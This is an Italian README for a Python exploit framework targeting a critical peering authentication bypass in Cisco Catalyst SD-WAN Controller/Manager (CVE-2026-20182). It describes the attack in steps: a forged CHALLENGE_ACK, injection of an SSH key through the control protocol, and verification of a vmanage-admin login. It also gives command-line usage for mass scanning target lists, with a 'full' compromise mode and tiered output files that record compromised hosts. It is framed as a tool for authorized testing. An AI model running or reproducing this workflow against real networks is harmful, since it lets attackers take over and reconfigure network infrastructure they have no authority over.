
Cisco Catalyst SD-WAN Bypass dell'autenticazione del peering
Cisco Catalyst SD-WAN Peering Authentication Bypass
Strumento di valutazione per test autorizzati del bypass dell'autenticazione di peering di Cisco Catalyst SD-WAN Controller / Manager (CVE-2026-20182).
| CVE | CVE-2026-20182 |
| Gravità | Critica (CVSS 10.0) |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Prodotto | Cisco Catalyst SD-WAN Controller (formerly vSmart) · Cisco Catalyst SD-WAN Manager (formerly vManage) |
| Problema | Meccanismo di autenticazione di peering non applicato correttamente |
| Script | CVE-2026-20182.py |
Avviso di maggio 2026: Una falla nell'handshake della connessione di controllo / autenticazione di peering consente a un attaccante remoto non autenticato di bypassare l'autenticazione e ottenere accesso interno ad alti privilegi sui sistemi interessati.
Un attaccante invia richieste appositamente predisposte al sistema interessato. In caso di successo, l'attaccante può autenticarsi come account interno, ad alti privilegi, non-root e raggiungere NETCONF, consentendo la manipolazione della configurazione del fabric SD-WAN.
| Elemento | Dettaglio |
|---|---|
| Vettore di attacco | Rete |
| Privilegi richiesti | Nessuno |
| Interazione con l'utente | Nessuna |
| Ambito | Modificato |
| Impatto | Riservatezza, integrità e disponibilità — Alta |
Raccomandazione: Applicare le correzioni di sicurezza Cisco secondo le indicazioni ufficiali del fornitore. Limitare l'esposizione del management plane, monitorare le connessioni del control plane e verificare i controller SD-WAN per modifiche di configurazione non autorizzate.
Telegram: @KNxploited
CVE-2026-20182.pyFramework di exploit in Python 3 per CVE-2026-20182 contro Cisco SD-WAN vdaemon (UDP/DTLS 12346).
| Passo | Fase | Descrizione |
|---|---|---|
| 1 | Carica i target | Analizza targets.txt, unisce i duplicati per (host, domain_id, site_id) |
| 2 | Preflight OpenSSL | Carica le librerie condivise OpenSSL 3.x/4.x per DTLS personalizzato |
| 3 | Connessione DTLS | Si connette alla porta UDP del target (sempre 12346 per prima, poi le porte opzionali dell'elenco) |
| 4 | CHALLENGE | Riceve CHALLENGE (0x08) dal server |
| 5 | CHALLENGE_ACK | Invia CHALLENGE_ACK appositamente predisposto come vHub (tipo 2) — bypass dell'autenticazione |
| 6 | Hello | Completa lo scambio Hello — conferma il percorso di bypass |
| 7a | Modalità CHECK | Fermati qui — registra solo bypass / Hello OK (niente chiavi, niente SSH) |
| 7b | Modalità FULL | Inietta la chiave pubblica SSH tramite VMANAGE_TO_PEER |
| 8 | Inject ACK | Attende REGISTER_TO_VMANAGE (0x0D) come conferma del protocollo |
| 9 | Verifica SSH | Verifica il login come vmanage-admin su TCP 830 (NETCONF), opzionalmente 22 |
| 10 | Output | Ordina i risultati in file a livelli + elenco di comandi leggibile |
Fallback di fabric: In caso di TEAR_DOWN o disallineamento dei parametri, riprova con preset domain/site alternativi (1,100), (1,1), (0,0) a meno che non venga specificato --no-fallback.
| Livello | File | Significato |
|---|---|---|
| 01 — SSH confermato | cisco_sdwan_01_confirmed_ssh.jsonl | ssh_verified=true — unico livello considerato prova completa di compromissione |
| 02 — Solo Inject ACK | cisco_sdwan_02_inject_ack_only.jsonl | Il protocollo ha accettato l'iniezione della chiave; login SSH fallito |
| 03 — Solo bypass | cisco_sdwan_03_bypass_only.jsonl | Hello/bypass OK; nessuna iniezione confermata |
Importante
check → al massimo livello 03 (sonda di bypass). Non è prova completa di sfruttamento.full → punta al livello 01 (ssh_verified).https://host nell'elenco → solo indicazione web TCP (80/443). Non DTLS UDP su 443.| Requisito | Note |
|---|---|
| Python | 3.9+ |
| pip | cryptography, rich |
| OpenSSL | librerie condivise 3.x o 4.x (libssl + libcrypto) — obbligatorie |
pip install -r requirements.txt
Windows
bin\ al PATH, oppure impostare:OPENSSL_HOME=C:\Program Files\OpenSSL-Win64
Linux
# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH
Lo strumento termina all'avvio se OpenSSL non può essere caricato.
python CVE-2026-20182.py
0 = AVVIA SCANSIONEcheck (sonda di bypass sicura)python CVE-2026-20182.py -y
| Modalità | Flag | Iniezione SSH | Verifica SSH | Quando usarla |
|---|---|---|---|---|
| CHECK | --mode check (predefinita) | No | No | Screening di massa, rilevamento bypass |
| FULL | --mode full | Sì | Sì (tranne con --no-ssh-verify) | Prova di compromissione |
CHECK — solo sonda di bypass
python CVE-2026-20182.py -y --mode check
FULL — inietta chiave + verifica SSH (solo target autorizzati)
python CVE-2026-20182.py -y --mode full
-f / --file — elenco dei target (predefinito: targets.txt)
python CVE-2026-20182.py -y -f my_controllers.txt --mode check
-t / --threads — thread worker (1–200, predefinito 12)
python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check
--domain — DOMAIN_ID predefinito quando non presente nell'elenco (predefinito: 1)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check
--site — SITE_ID predefinito quando non presente nell'elenco (predefinito: 100)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full
--mode — check | full
python CVE-2026-20182.py -y --mode full -f targets.txt
-y / --yes — salta il menu interattivo; usa solo i valori CLI
python CVE-2026-20182.py -y -f targets.txt --mode check -t 20
--no-ssh-verify — salta il test SSH post-iniezione (sconsigliato in modalità full)
python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt
--verify-ssh22 — prova anche la TCP 22 dopo la 830
python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt
--no-try-list-udp — solo UDP 12346; ignora :port dall'elenco
python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check
--extra-udp-ports — lab: porte UDP extra su ogni host
python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check
--no-fallback — disabilita il nuovo tentativo domain/site su TEAR_DOWN
python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full